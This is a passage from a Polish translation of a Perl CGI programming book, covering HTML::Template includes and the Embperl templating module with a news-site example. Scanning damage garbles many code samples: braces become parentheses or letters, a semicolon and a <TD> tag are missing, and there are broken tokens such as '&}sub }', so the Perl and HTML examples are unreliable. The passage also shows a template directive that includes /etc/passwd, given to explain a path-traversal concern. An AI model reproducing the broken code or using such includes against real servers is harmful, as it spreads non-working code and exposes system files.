ścieżkę do pliku. HTML::Template nie sprawdza, czy plik znajduje się wewnątrz głównego katalogu dokumentów, więc twórca stron HTML mógłby z łatwością umieścić w pliku poniższą instrukcję, do której HTML::Template by się zastosował: <TMPL_INCLUDE NAME="/etc/passwd"> Nie jest to, jak mogłoby się wydawać, poważna kwestia bezpieczeństwa, ponieważ twórca stron i tak mógłby do pliku HTML skopiować zawartość pliku /etc/passwd ręcznie lub utworzyć do niego łącze symboliczne. Mimo wszystko należy mieć tego świadomość. Wstawki można całkowicie wyłączyć za pomocą opcji no_includes przy tworzeniu obiektu HTML::Template. Podsumowanie HTML::Template jest z pewnością bardzo eleganckim rozwiązaniem w wypadku opracowań, gdzie role projektantów stron HTML i twórców skryptów są wyraźnie rozdzielone. Nie upłynęło dużo czasu od ukazania się HTML::Template, a już osiągnął on dojrzałość. Moduł ten oferuje także bardziej zaawansowane możliwości, na przykład nie omówione tutaj buforowanie danych wyjściowych. Przedstawione właściwości dotyczą wersji 1.7, lecz jego możliwości wciąż są poszerzane, więc dalszych informacji należy szukać w dokumentacji. HTML::Template dostępny jest w sieci CPAN; najświeższe informacje, w tym informacje z listy wysyłkowej oraz CVS, zawarte są w dokumentacji elektronicznej.
Embperl SSI i HTML::Template to oparte na szablonach proste rozwiązania, umożliwiające dodawanie elementarnych znaczników do statycznych i dynamicznych plików HTML. W module HTML::Embperl, często
Programowanie CGI w Perlu
71
nazywanym krótko - Embperl, zastosowano odmienne podejście: analizuje on składniowo pliki HTML pod kątem kodu w języku Perl, dzięki czemu możliwe jest przeniesienie kodu skryptu wprost do dokumentów HTML. Pod tym względem przypomina Java Server Pages oraz Active Server Pages (ASP) Microsoftu, gdzie zapis w języku programowania umieszczany jest w dokumentach. Co więcej, istnieje kilka modułów służących do osadzania Perla w dokumentach HTML, między innymi Embperl, ePerl, HTML::EP, HTML::Mason oraz Apache::ASP. W tym podrozdziale przyjrzymy się modułom Embperl i Mason. Teoria, na której opiera się umieszczanie kodu skryptu w stronach HTML, jest trochę inna niż w wypadku standardowych szablonów HTML. W obydwu strategiach chodzi o oddzielenie interfejsu od programu, lecz linie podziału przebiegają inaczej (zob. rysunek 6.2). W rozwiązaniach podstawowych, jak HTML::Template, podział przebiega między HTML-em a całym kodem skryptowym, z maksymalnym rozdzieleniem jednego i drugiego. W wypadku Embperla i podobnych rozwiązań program tworzący stronę jest wpleciony w HTML strony, lecz wspólne mechanizmy zaszyte są w modułach, które mogą być współużytkowane przez różne strony HTML. Mechanizmy te stanowią jądro aplikacji, osobne względem interfejsu, zarządzania danymi itp. Oczywiście, w praktyce nie zawsze tworzy się tyle modułów, ile zaleca model - możemy utworzyć moduły zgodnie z dowolnym z przedstawionych podejść (według podziału wskazywanego na rysunku linią przerywaną). Dlatego modele złożonych rozwiązań szablonowych, jak Embperl i ASP, często uzyskują kształt znany z CGI.pm, z tym że zamiast włączania HTML-a do skryptu, skrypt jest włączany do HTML-a. Oczywiście, nie jest to wada. Zarówno CGI.pm, jak i Embperl są wręcz doskonałymi rozwiązaniami pod względem powiązania ze sobą HTML-a i kodu programu. Każdy indywidualnie decyduje, które z nich jest najwłaściwsze w danym przedsięwzięciu. Okazuje się, że tych, którzy spierają się o CGI.pm i szablony, wykazując przewagę jednego bądź drugiego podejścia, czasami 8 dzieli mniej, niż mogłoby się wydawać; skrajne punkty widzenia są, paradoksalnie, bardzo zbliżone. Interfejs Skrypt/HTML HTML/Skrypt HTML Program strony [Skrypt Mechanizmy [Moduły [Moduły [Moduły CGI.pm Embperl HTML::Template Rysunek 6.2. Różne podejścia pod względem oddzielania interfejsu od kodu Konfiguracja Sposobów posługiwania się Embperlem jest kilka. Można go wywołać ze skryptu CGI i użyć do analizy składniowej pliku szablonu, tak jak w wypadku HTML::Tem-plate. W tym trybie w Embperlu zyskujemy o wiele większe możliwości niż wHTML::Template, ponieważ w szablonach można umieszczać wyrażenia w Perlu (kosztem skomplikowania szablonu). Niemniej dzięki temu, że w plikach szablonów do dyspozycji mamy cały język Perl, nie jest nawet potrzebny dodatkowy skrypt CGI, który by zainicjował obsługę żądania. Dlatego Embperl można skonfigurować tak, aby żądania HTTP mogły się odwoływać bezpośrednio do plików szablonów; funkcjonuje on wówczas podobnie do mechanizmu obsługi SSI, dzięki któremu pliki .shtml mogą być celem żądań HTTP. Modułu Embperl można używać wraz z modułem mod_perl (lub bez niego). Jest on zoptymalizowany pod kątem mod_perl, lecz napisany jest nie tylko w Perlu, ale i w języku C, a skompilowany kod C działa szybciej niż analogiczny moduł w Perlu, gdy nie jest używany mod_perl. Execute Do wywołania Embperla w skrypcie CGI służy jego funkcja Execute, do której przekazuje się ścieżkę do szablonu wraz z dowolnymi parametrami potrzebnymi do analizy szablonu. Na przykład: my $szablon = "/usr/local/apache/htdocs/templates/welcome.epl"; HTML::Embperl::Execute( $szablon, $czas, $pozdrowienie ); W ten sposób analizie składniowej poddany zostaje szablon powitania wekome.epl ze zmiennymi czasu $czas i pozdrowienia $pozdrowienie jako parametrami, a wynik zostaje przekazany na STDOUT. Zauważmy, że wywołaliśmy funkcję jako HTML::Embperl::Execute, a nie jako Execute. Embperl nie eksportuje żadnych symboli, nie jest też modułem obiektowym. Dlatego funkcję Execute należy podawać w pełnej formie. Można też wywołać funkcję Execute i przekazać do niej referencję do tablicy asocjacyjnej z parametrami i ich nazwami. Daje to większe możliwości wykorzystania modułu Embperl. Można na przykład dane wejściowe szablonu odczytać ze zmiennej skalarnej zamiast z pliku, a dane wyjściowe można zapisać do pliku lub zmiennej zamiast na STDOUT. Oto jak można poddać analizie składniowej szablon wekome.epl, a rezultat zapisać do pliku wekome.html: my $szablon = "/usr/local/apache/htdocs/templates/welcome.epl"; my $dane_wyj = "/usr/local/apache/htdocs/welcome.html"; HTML::Embperl::Execute ( { inputfile => $szablon, param => [ $czas, $pozdrowienie ], outputfile => $dane_wyj } ); W Embperlu można również, korzystając z modułu mod_perl, buforować skompilowane wersje stron. Pełna lista parametrów znajduje się w dokumentacji modułu Embperl. mod_perl 8
Jason Hunter (autor książki ]ava Serulet Progrmnming, wyd. O'Reilly & Associates) przeprowadził podobną dyskusję z perspektywy Javy. Jego artykuł pt. „The Problem with JSP" („Problem z JSF') dostępny jest pod adresem: http://www.servlcts.com/soapbox/problems-jsp.htmt.
Programowanie CGI w Perlu
72
W razie korzystania z modułu mod_perl, Embperl można zarejestrować jako mechanizm obsługi skryptów, dodając do httpd.conf (lub srm.conf, jeśli jest stosowany) następujący zapis: <Files *.epl> SetHandler perl-script PerlHandler HTML::Embperl Options ExecCGI </files> AddType text/html .epl Wówczas każdy plik z rozszerzeniem .epl będzie analizowany i wykonywany przez Embperl. embpcgi.pl Jeśli nie korzystamy z modułu mod_perl, lecz chcemy, aby pliki Embperla obsługiwały żądania bez pośrednictwa skryptu CGI, możemy skorzystać z rozprowadzanego wraz z Embperlem skryptu CGI embpcgi.pl. Umieszcza się go w katalogu CGI, a URL pliku do analizy przekazuje do tego skryptu w ramach informacji o ścieżce. Załóżmy, że ścieżka pliku szablonu jest następująca: /usr/local/apache/htdocs/templates/welcome.epl Aby Embperl obsłużył ten plik za pośrednictwem embpcgi.pl, można użyć następującego URL-a: http://localhost/cgi/embpcgi.pl/templates/welcome.epl Ze względu na bezpieczeństwo embpcgi.pl obsługuje tylko te pliki, które znajdują się w drzewie głównego katalogu dokumentów serwera Web. Zapobiega to próbom zdobycia ważnych plików, na przykład /etc/passwd. Niestety, oznacza to, że do plików Embperla ludzie mogą sięgać bezpośrednio. Na przykład źródło pliku welco-me.epl można podejrzeć, posługując się następującym URL-em: http://localhost/templates/welcome.epl Umożliwienie osobom postronnym oglądania kodu źródłowego plików wykonywalnych znajdujących się na serwerze Web nie jest zbyt dobrym pomysłem. Dlatego, jeśli posługiwalibyśmy się embpcgi.pl, powinniśmy utworzyć standardowy katalog, w którym byłyby przechowywane szablony Embperl, oraz zablokować bezpośredni dostęp do tych plików. Poniżej przedstawiamy, jak by to wyglądało w wypadku Apache. Aby wyłączyć dostęp do wszelkich plików poniżej wymienionego katalogu szablonów, do pliku httpd.conf (lub access.conf, jeśli jest stosowany) należy dodać następujące dyrektywy: <Location /templates> deny from all </Location> W ten sposób zostaje wzbroniony dostęp do podanego katalogu (i wszystkich pod-katalogów) dla wszystkich żądań HTTP od wszystkich klientów Web. Składnia Niektóre edytory HTML uniemożliwiają autorom włączanie znaczników, których nie rozpoznają jako prawidłowe znaczniki HTML. Korzystanie z takich edytorów może stanowić problem przy tworzeniu szablonów HTML, w których często występują specyficzne dla nich rodzaje znaczników. Fakt ten uwzględniono przy tworzeniu Embperla. Nie ma w nim poleceń przypominających znaczniki HTML, więc kod można wprowadzać w edytorach WYSIWYG. Ponadto Embperi zinterpretuje wszelkie HTML-owo zakodowane znaki (np. &gt; zamiast >) i usunie zbędne znaczniki (np. &nbsp; oraz <BR>) w kodzie Perla przed jego przetworzeniem. Bloki kodu Embperla W dokumencie Embperla polecenia Perla objęte są z obu stron znakiem nawiasu kwadratowego i znakiem dodatkowym, którą to parę będziemy dalej nazywać parą nawiasową (ang. bracket pair). Tak więc na przykład [ + jest początkową parą nawiasową, a + ] końcową parą nawiasową. Embperi rozpoznaje kilka typów par nawiasowych, a każdy typ obsługuje inaczej. Przykład 6.10 przedstawia prosty dokument, w którym użyto większości z nich. Przykład 6.10. simple.epl <HTML> <HEAD> <TITLE>Prosty dokument Embperla</TITLE> </HEAD> <BODY BGCOLOR="white"> <H2>Prosty dokument Erabperla</H2> [- $czas = localtime -] <P>Szczegółowe dane żądania z [+ $czas +] :</P> <TABLE> <TR><TH>Nazwa</TH> <TH>Wartość</TH></TR> [# Wyliczenie wszystkich zmiennych środowiska, wierszami #] [$ foreach $nazwazm ( sort keys %ENV ) $] <TR><TD><B>[+ $nazwazm +]</B></TD> <TD>[+ $ENV{nazwazm} +]</TD></TR> [$ endforeach $] </TABLE> </BODY> </HTML> Embperl obsługuje bloki kodu umieszczone wewnątrz następujących par nawiasowych: [+ ... +] Ten nawias zasadniczo przeznaczony jest do zmiennych i prostych wyrażeń. Embperl wykonuje zawarty w nim kod i zastępuje go wynikiem ostatniego z obliczonych wyrażeń. Obliczenia odbywają się w kontekście skalarnym, więc w wyniku poniższego zapisu:
Programowanie CGI w Perlu
73
[+ @a = ( 'x', 'y', 'z'); @a +] otrzymamy „3" (liczbę elementów tablicy), a nie „xyz" lub „x y z". [- ... -] Ten nawias przede wszystkim jest przeznaczony na elementy logiki programowej, na przykład obsługujące interfejs z innymi modułami, do przypisywania wartości zmiennym itp. Embperl wykonuje kod ujęty w nawias, przy czym wynik odrzuca. [! ... !] Ten nawias przeznaczony jest na deklaracje procedur oraz innego rodzaju kod, który musi być inicjowany tylko raz. Te pary nawiasowe Embperl traktuje tak jak [ - ... - ] , z tym że zawarty wewnątrz kod wykonuje tylko raz. Ta różnica dotyczy głównie modułu mod_perl: ponieważ Embperl pozostaje w stanie rezydent-nym między kolejnymi żądaniami HTTP, uruchomienie kodu jednorazowo oznacza: raz na cały okres działania procesu potomnego serwera Web, który w tym czasie może obsłużyć setki (lub więcej) żądań. W wypadku CGI kod w tym bloku jest wykonywany raz na żądanie. Te pary nawiasowe wprowadzono w module Embperl 1.2. [$ ... $] Ten nawias stosowany jest wraz z metapoleceniami Embperla, czyli takimi strukturami sterującymi jak f oreach oraz endf oreach, użytymi w ostatnim przykładzie. Polecenia Embperla zestawione są w tabeli 6.6 w dalszej części rozdziału. [* ... *] Ten nawias wykorzystywany jest do obróbki zmiennych lokalnych i do struktur sterujących Perla. Te pary nawiasowe Embperl traktuje tak jak [- ... -], z tym że cały kod zawarty w takich blokach znajduje się we wspólnym zasięgu (dla porównania zob. poniższy podrozdział „Zasięg zmiennych"). Dzięki temu kod wewnątrz nich może się opierać na wspólnych zmiennych. W blokach tych można też umieścić struktury sterujące języka Perl. W poprzednim przykładzie do utworzenia tabeli mogliśmy użyć struktury sterującej f oreach Perla, a nie tak samo brzmiącego metapolecenia modułu Embperl: [# Wyliczenie wszystkich zmiennych środowiska, wierszami #] [* foreach $nazwazm ( sort keys %ENV ) i *] <TR><TD><B>[+ $nazwazm +]</B></TD> <TD>[+ $ENV{nazwazm} +]</TD></TR> [* } *] Różnica polega na użyciu nawiasów i bloków metapoleceń. Zauważmy, że kod wewnątrz [* oraz *] musi się kończyć średnikiem lub klamrą oraz że bloki te są przetwarzane nawet wewnątrz bloków komentarza Embperla (zob. poniżej). Te pary nawiasowe wprowadzono w module Embperl 1.2. [# ... #] Ten nawias służy do wprowadzania komentarza. Embperl ignoruje go i pomija wszystko, co znajdzie się wewnątrz tych par nawiasowych, więc ich zawartość nie jest przekazywana do klienta. Nawias ten może też służyć do maskowania obszernych sekcji HTML-a lub skryptu podczas testów, lecz niestety nie w wypadku kodu wewnątrz par [ * ... * ], ponieważ te bloki przetwarzane są jako pierwsze. Te pary nawiasowe wprowadzono w module Embperl 1.2. Ponieważ w Embperlu bloki rozpoczynają się znakiem [, więc aby w wynikowym HTML-u umieścić ten znak, należy użyć pary [ [. Podobnym zabiegom nie potrzeba poddawać znaku ] ani innych znaków. Ponadto Embperl wiąże STDOUT ze swoim strumieniem wyjściowym, więc wewnątrz bloków Embperl można się posługiwać instrukcją print, i będzie to działać poprawnie. Zasięg zmiennych Każdy blok kodu wewnątrz par nawiasowych jest przetwarzany jako osobny blok wewnątrz Perla. Oznacza to, że każdy znajduje się w osobnym zasięgu zmiennych. Jeśli zadeklarujemy zmienną leksykalną (zmienną zadeklarowaną za pomocą my) w jednym bloku, to nie będzie widoczna w innym bloku. Innymi słowy, taki oto zapis nie będzie funkcjonować: [- my $czas = localtime -] <P>Obecnie mamy: [+ $czas +].</P> Rezultat jest w zasadzie analogiczny do uzyskanego za pomocą następującego zapisu w Perlu: &{sub { my $czas = localtime }}; print "<P>Obecnie mamy: " . &}sub } $czas;}} . ".</P>"; Podobnie działanie takich pragm zależnych od zasięgu zmiennych (na przykład use strict) będzie się ograniczać do bieżącego bloku kodu. Aby włączyć globalne działanie pragmy strict, należy użyć metapolecenia var (zob. tabela 6.6). Bloki [ * ... * ] są nieco odmienne. Wszystkie objęte są tym samym zasięgiem zmiennych, więc zmienne lokalne (zmienne zadeklarowane za pomocą local) są wspólne. Mimo to zmienne leksykalne nie są. Nie oznacza to, że w Embperlu należy całkowicie zarzucić deklarowanie zmiennych za pomocą my, Zmienne leksykalne mimo wszystko przydają się jako zmienne tymczasowe, potrzebne tylko w ramach konkretnego bloku. Zastosowanie zmiennych leksykalnych w roli zmiennych tymczasowych jest efektywniejsze niż użycie zmiennych globalnych, ponieważ są zwalniane przez Perl wraz z końcem bloku. Zmienne globalne zaś pozostają w pamięci aż do zakończenia przetwarzania żądania HTTP, dopóki obecny jest proces perl. Niemniej nawet wtedy, gdy przetwarzanie odbywa się pod kontrolą mod_perl, Embperl domyślnie unieważnia definicje wszystkich zmiennych globalnych utworzonych w zasięgu stron na końcu każdego żądania HTTP. Metapolecenia Embperl udostępnia pewną liczbę metapoleceń do tworzenia struktur sterujących i innych rozmaitych funkcji przedstawionych w tabeli 6.6. Nawiasy okrągłe, widoczne w niektórych strukturach sterujących, są w
Programowanie CGI w Perlu
74
Embperlu nieobowiązkowe, chociaż poprawiają czytelność poleceń i zbliżają zapis do analogicznych struktur Perla. Tabela 6.6. Metapolecenia Embperla Metapolecenie Opis [$ foreach $zm_petli ( list ) $] Podobne do struktury sterującej foreach w Perlu, z tym że wymagane jest podanie zmiennej pętli ($zm_petli). [$ endforeach $] Wskazuje na koniec pętli foreach. [$ while ( expr ) $] Podobne do struktury sterującej while w Perlu. [$ endwhile $] Wskazuje na koniec pętli while. [$ do $] Wskazuje na początek pętli until. [$ until ( expr ) $] Wskazuje na koniec pętli until. [$ if ( expr ) $] Podobne do struktury sterującej if w Perlu. [$ elseif ( expr ) $] Podobne do struktury sterującej elseif vi Perlu. [$ else $] Podobne do struktury sterującej else w Perlu. [$ endif $] Wskazuje na koniec struktury warunkowej if. [$ sub nazwaprocedury $] Pozwala na potraktowanie sekcji zawierającej zarówno bloki HTML-a, jak i Embperla jako procedur, które można wywołać jak zwykle procedury Perla lub za pomocą funkcji Execute Embperla. [$ endsub $] Wskazuje na koniec bloku sub. [$ var $zm1 @zm2 %zm3 ... $] To polecenie jest równoważne następującemu skryptowi Perla: use script; use vars qw( $zml @zm2 %zm3 ... ); Użycie tego polecenia zwiększa efektywność przetwarzania stron, zwłaszcza w wypadku korzystania z mod_perl. Trzeba przy tym pamiętać, że wówczas ze względu na ograniczenia zasięgu należy tu deklarować każdą zmienną, która ma być wspólna dla wszystkich bloków Embperla (zob. wcześniejszy opis „Zasięg zmiennych"). [$ hidden [ %podane %uzyte ] $] Generuje ukryte pola dla wszystkich elementów w pierwszej tablicy asocjacyjnej, których nie ma w drugiej. Użycie obydwu tablic nie jest obowiązkowe. Zwykle są to domyślne tablice Embperla, %f dat i %idat. %f dat zawiera nazwy i wartości pól wysłanych przez użytkownika, %idat zaś zawiera nazwy i wartości pól, które zostały użyte jako elementy bieżącego formularza (zob. dalszy podrozdział „Zmienne globalne"). Oprogramowanie HTML-a Embperl monitoruje HTML i traktuje go jak dane wynikowe. Można go użyć do automatycznego konstruowania tabel oraz wstępnego wypełniania elementów formularzy. Tabele Gdy w kodzie wewnątrz tabeli użyjemy zmiennych $row, $col lub $cnt, Embperl wykona pętlę na zawartości tabeli, budując tę tabelę dynamicznie, przy każdej iteracji przypisując tym zmiennym odpowiednio: indeks bieżącego wiersza, indeks bieżącej kolumny oraz liczbę wygenerowanych komórek. Embperl interpretuje zmienne następująco: • Jeśli zmienna $row istnieje, wszystko między <TABLE> a </TABLE> jest powtarzane, aż wyrażenie zawierające $row stanie się niezdefiniowane. Wiersze składające się w całości z komórek <TH> ... </TH> uznawane są za nagłówki i nie są powtarzane. • Jeśli zmienna $col istnieje, wszystko między <TR> a </TR> jest powtarzane, aż wyrażenie zawierające $col stanie się niezdefiniowane. • Tak samo używana jest zmienna $ cnt w odniesieniu do wierszy bądź kolumn, jeśli ta zmienna istnieje, nie istnieją zaś $row lub $col. Obejrzyjmy przykład. Ponieważ $row lub $col są indeksami bieżących wiersza i kolumny, zwykle służą jako wskaźniki tablicy programowej przy budowaniu tablicy HTML-owej, jak poniżej: [- @rekreacja = ( [ "Windsurfing", "Lato", "Woda" ], [ "Narciarstwo", "Zima", "Góry" ], [ "Kolarstwo", "Cały rok", "Pogórze" ], [ "Biwakowanie", "Cały rok", "Odludzie" ] ); -] <TABLE> <TR><TH>Rekreacja</TH> <TH>Pora roku</TH> <TH>Teren</TH></TR> <TR>[+ $rekreacja[$row] [$col] +] </TD> </TR> </TABLE> Rezultatem tego kodu będzie następująca tabela: <TABLE> <TR><TH>Rekreacja</TH><TH>Pora roku</TH><TH>Teren</TH> </TR> <TR><TD>Windsurfing</TD><TD>Lato</TD><TD>Woda</TD></TR> <TR><TD>Narciarstwo</TD><TD>Zima</TD><TD>Góry</TD> </TR> <TR><TD>Kolarstwo</TD><TD>Cały rok</TD><TD>Pogórze</TD> </TR> <TR><TD>Biwakowanie</TD><TD>Cały rok</TD><TD>Odludzie</TD> </TR> </TABLE>
Programowanie CGI w Perlu
75
Elementy list Jeśli zmiennej $row użyjemy wewnątrz listy zwykłej lub rozwijanej, Embperl, tak jak w wypadku tabeli, powtórzy każdy element, aż wyrażenie $row stanie się niezdefiniowane. Gdy chodzi o listy rozwijane, Embperl automatycznie zaznaczy te opcje, gdzie nazwa i wartość w %f dat zgadzają się z nazwą i wartością w %idat (zob, poniżej). Elementy formularzy Generowanie znaczników elementów wprowadzania danych, na przykład wielo-wierszowych pól tekstowych (znacznik <TEXTAREA>), przy użyciu Embperla jest podobne do generowania ich przy użyciu CGI.pm. Jeśli utworzymy element o nazwie zgodnej z istniejącym parametrem, wartość parametru pojawi się jako ustawienie domyślne. Gdy element zostanie utworzony, Embperl sprawdza, czy nazwa danego elementu istnieje w tablicy asoqacyjnej %f dat (zob. poniżej); jeśli istnieje, to wartość ta zostaje automatycznie wprowadzona do elementu. Ponadto wraz z generowaniem elementów HTML moduł Embperl pary nazwa-wartość (jeśli zostały podane) dodaje do tablicy %idat. Zmienne globalne W Embperlu zdefiniowano pewną liczbę zmiennych globalnych, których można użyć w szablonach. Oto lista najbardziej elementarnych: %ENV Wygląda znajomo. Embperl, działając pod kontrolą mod_perl, ustanawia zmienne środowiska w szablonie tak, aby odpowiadały zmiennym środowiska CGI. %fdat Zawiera nazwy i wartości wszystkich pól przekazanych do skryptu CGI. Embperl, tak jak CGI.pm, nie czyni rozróżnienia między żądaniami GET i POST i wczytuje parametry odpowiednio albo z łańcucha zapytania, albo z części zasadniczej żądania. Jeśli jakiś element ma wartości wielokrotne, to są one rozdzielane tabulacjami. %idat Zawiera nazwy i wartości pól formularza, które zostały utworzone na bieżącej stronie. %mdat Ta tablica asocjacyjna dostępna jest tylko wtedy, gdy działanie odbywa się pod kontrolą mod_perl i z wykorzystaniem modułu Apache::Session. Można w niej umieścić dowolną zawartość, która będzie dostępna przy każdym późniejszym żądaniu tej samej strony nawet wtedy, gdy żądania te będą kierowane do różnych procesów potomnych httpd. %udat Ta tablica asocjacyjna dostępna jest tylko wtedy, gdy działanie odbywa się pod kontrolą mod_perl i z wykorzystaniem modułu Apache::Session. Można w niej umieścić dowolną zawartość, któr i ma być dostępna przy każdym późniejszym żądaniu zgłaszanym przez tego samego użytkownika. Do użytkownika zostanie wtedy wysłane ciasteczko HTTP, jednak żadne ciasteczko nie jest wysyłane, jeśli ta tablica nie zostanie w kodzie użyta (zob. omówienie „Ciasteczka po stronie klienta" w rozdziale 11). @param Jeśli w celu wywołania stron Embperla użyjemy funkcji Execute, podane parametry będą dostępne poprzez tę właśnie zmienną. Przykład Przeanalizujmy przykład, w którym używany jest Embperl. W tym celu utwórzmy podstawową sekcję „Nowiny", w ramach której wyświetlane będą nagłówki najświeższych wiadomości. Gdy użytkownik kliknie nagłówek, będzie mógł przeczytać cały artykuł. Efekt nie będzie oszałamiający, ale przynajmniej powstaną szkicowe strony, w których osoba administrująca serwisem będzie mogła dodawać, kasować i poprawiać artykuły. W naszej aplikacji są cztery strony: strona „Nowiny", na której będą wyświetlane bieżące nagłówki „prasowe"; strona artykułu, gdzie użytkownicy będą mogli przeczytać artykuł; główna strona administracyjna z listą bieżących nagłówków i przyciskami umożliwiającymi dodawanie, kasowanie i poprawianie artykułów; strona administracyjna, na której można wprowadzić nagłówek i treść artykułu, służąca zarówno do poprawiania artykułów istniejących, jak i tworzenia nowych. Strony te przedstawiane są kolejno na rysunkach od 6.3 do 6.6. Obsługa za pośrednictwem Embperla W tradycyjnych rozwiązaniach opartych na Embperlu cel żądań HTTP stanowią pliki .epl. Przytoczony przykład będzie działać zarówno z mod_perl, jak i embpcgi.pl. Przyjrzyjmy się najpierw stronie „Nowiny". Kod zawarty w pliku news.pl przedstawiamy w przykładzie 6.11. Przykład 6.11. news.epl <HTML> [! use lib "/usr/local/apache/lib-perl"; use News; !] [- @relacje = News::pobierz_relacje () -] <HEAD> <TITLE>Nowiny</TITLE> </HEAD> <BODY BGCOLOR="white">
Programowanie CGI w Perlu
76
<H2>Nowiny</H2> <P>Oto najświeższe wiadomości o wszystkim, co się dzieje wokół nas. Zaglądaj tu często, aby trzymać rękę na pulsie !</P> <HR> <UL><LI> [- ( $relacja, $naglowek, $data ) = @{ relację [$row] } if $relacje [$row] -] <A HREF="article.epl?relacja=[+ $relacja +]">[+ $naglowek +]</A> <I>[+ $data +]</I> </LI></UL> [$ if ( !@relacje ) $] <P>Przykro nam, obecnie brak artykułów. Proszę zajrzeć później. </P> [$ endif $] </BODY> </HTML> Programy Embperla są czytelniejsze i łatwiejsze w pielęgnacji, jeśli zredukuje się ilość kodu w języku Perl obecnego w kodzie HTML. Dlatego sporą część kodu przenieśliśmy do wspólnego modułu News.pm, który umieściliśmy w katalogu /usr/locallapache/perl-lib. Modułowi News przyjrzymy się już za moment, a tymczasem dokończmy analizę pliku news.epl. Wywołujemy funkcję pobierania artykułów, pobierz_relacje, modułu News. Funkcja ta zwraca tablicę artykułów, której każdy element zawiera referencję do tablicy z numerem artykułu, jego nagłówkiem oraz datą zredagowania. Dlatego w nieuporządkowanej liście (oznaczonej znacznikami <UL> i </UL>) w dalszej części pliku przechodzimy w pętli przez wszystkie artykuły, posługując się specjalną zmienną $row, i przenosimy elementy poszczególnych artykułów do zmiennych: $relacja (treść artykułu), $naglowek i $data. Embperl będzie wykonywać pętlę i tworzyć listę pozycji, dopóki wyrażenie zawierające $rów nie przybierze wartości niezdefiniowanej. Następnie na podstawie uzyskanych wartości konstruowane jest łącze do artykułu mające postać elementu listy. Jeżeli nie ma artykułów, drukujemy informujący o tym komunikat. I to wszystko na temat tego pliku. Przykład 6.12 przedstawia odpowiednią sekcję w module News. Przykład 6.12. News.pm (część 1 z 3) #!/usr/bin/perl -wT package News; use strict; use Fcntl qw ( :flock ) ; my $KATAL_NOWIN = "/usr/local/apache/data/news"; 1; sub pobierz_relacje { my @relacje = () local( *KATAL, *RELACJA ); opendir KATAL, $KATAL_NOWIN or die "Nie można otworzyć $KATAL_NOWIN: $!"; while ( defined( my $plik = readdir KATAL ) ) { next if $plik =~ /^\./; # pomiń . oraz .. open RELACJA, "$KATAL_NOWIN/$plik" or next; flock RELACJA, LOCK_SH; my $naglowek = <RELACJA>; close RELACJA; chomp $naglowek; push @relacje, [ $plik, $naglowek, pobierz_date( $plik ) ]; } closedir KATAL; return sort ( $b->[0] <=> $a->[0] } @relacje; } # Zwraca standardowe uniksowe wskazanie czasu z samą datą, bez godziny sub pobierz_date ( my $nazwapliku = shift; ( my $data = localtime $nazwapliku ) =~ s/ +\d+:\d+:\d+/,/; return $data; } Ścieżkę do katalogu artykułów umieszczamy w $KATAL_NOWIN. Zauważmy, że użyliśmy tu zmiennej leksykalnej, a nie stałej, ponieważ jeśli skrypt współpracuje z mod_perl, jak to często bywa w wypadku Embperla, stała może spowodować, że w pliku dziennika zostaną wygenerowane dodatkowe wiadomości. Dlaczego tak się dzieje, wyjaśnimy w rozdziale 17, „Efektywność i optymalizaq'a", w podrozdziale „mod_perl". Format naszych plików artykułów jest dość surowy. Pierwszy wiersz to nagłówek, wszystkie zaś pozostałe to treść artykułu, która powinna być sformatowana w HTML-u. Za pomocą funkcji time Perla plikom nadajemy nazwy odpowiadające czasowi ich zapisu, podanemu jako liczba sekund od umownego początku pomiaru czasu. Ponadto powinniśmy utworzyć system pozwalający uniknąć sytuacji, w której dwóch administratorów modyfikowałoby jednocześnie ten sam plik; jednym ze sposobów jest zapewnienie, by strona, która służy do
Programowanie CGI w Perlu
77
redagowania, przy wczytywaniu pliku do modyfikacji zapisywała w polu ukrytym bieżący czas, który następnie przy zapisywaniu pliku mógłby być porównany z czasem jego ostatniej modyfikacji. Gdyby plik po wczytaniu został zmodyfikowany, administratorowi musiałby zostać zaprezentowany nowy formularz, przedstawiający obydwa zestawy zmian, aby mógł je porównać i odpowiednio pozatwierdzać. Funkcja pobierz_relacje otwiera katalog artykułów i w pętli poddaje przetworzeniu każdy plik. Pomija wszystkie pliki zaczynające się kropką, w tym katalogi bieżący i nadrzędny. Jeśli przy odczytywaniu katalogów wystąpi jakikolwiek błąd systemowy, wywołujemy funkcję die; jeśli pojawią się problemy przy odczycie pliku, to plik ten pomijamy. Błędy systemu plików nie są częste, niemniej się zdarzają; gdybyśmy chcieli użytkownikowi wygenerować przyjaźniejszą odpowiedź niż mało mówiący komunikat 500 Internet Seruice Error, powinniśmy użyć modułu CGI::Carp wraz z fatalsToBrowser, aby przechwycić wszystkie wywołania die. Wprowadzamy blokowanie pliku ze współużytkowaniem, aby mieć pewność, że nie będziemy odczytywać pliku, który jest w trakcie zapisywania go przez administratora. Następnie odczytujemy nagłówek artykułu i do listy artykułów dodajemy pozycję złożoną z numeru pliku, nagłówka oraz daty utworzenia. Funkcja po-łńerz_date generuje uniksowe wskazanie czasu na podstawie numeru pliku i przy użyciu funkcji localtime. Wynik wygląda następująco: Sun Feb 13 17:35:00 2000 Następnie godzina zastępowana jest przecinkiem, przez co otrzymujemy podstawowy zapis daty: Sun Feb 13, 2000 Na koniec sortujemy listę artykułów od największego do najmniejszego numeru artykułu. Ponieważ numer jest taki sam, jak data utworzenia pliku, najnowsze nagłówki zawsze pojawią się na początku listy. Gdy użytkownik wybierze nagłówek z listy, aplikacja pobierze odpowiedni artykuł. Przykład 6.13 przedstawia stronę prezentującą artykuł. Przykład 6.13. article.epl <HTML> [! use lib "/usr/local/apache/lib-perl"; use News; !] [- ( $naglowek, $artykul, $data ) = News::pobierz_1relacje( $fdatf{relacja} ) -] <HEAD><TITLE>[+ $naglowek +]</TITLE></HEAD> <BODY BGCOLOR="white"> <H2>[+ $naglowek +]</H2> <P><!>[+ $data +]</!></P> [+ local $escmode = 0; $artykul +] <HR> <P>Powrót do strony głównej <A HREF="news.epl">Nowin</A>.</P> </BODY> </HTML> Dzięki temu, że większość pracy wykonywana jest przez moduł News, również ten plik jest dość prosty. Łącza do tej strony z głównej strony „Nowin" obejmują łańcuch zapytania, zawierający numer artykułu. W celu pobrania numeru artykułu i przekazania go do funkcji News::pobierz_1relacje, zwracającej nagłówek, treść i datę artykułu, posługujemy się specjalną tablicą asocjacyjną Embperla %fdat. Potem wystarczy, że znaczniki tych zmiennych włączymy do dokumentu, w którym chcemy przedstawić dane. $artykul wymaga pewnych dodatkowych zabiegów. Treść artykułu zawiera HTML, lecz domyślnie Embperi maskuje przed interpretacją wszelkie znaczniki HTML generowane przez bloki Perla, więc na przykład <P> zostanie przekształcone w & 11; P&gt;. Aby tę konwersję wyłączyć, specjalnej zmiennej Embperla 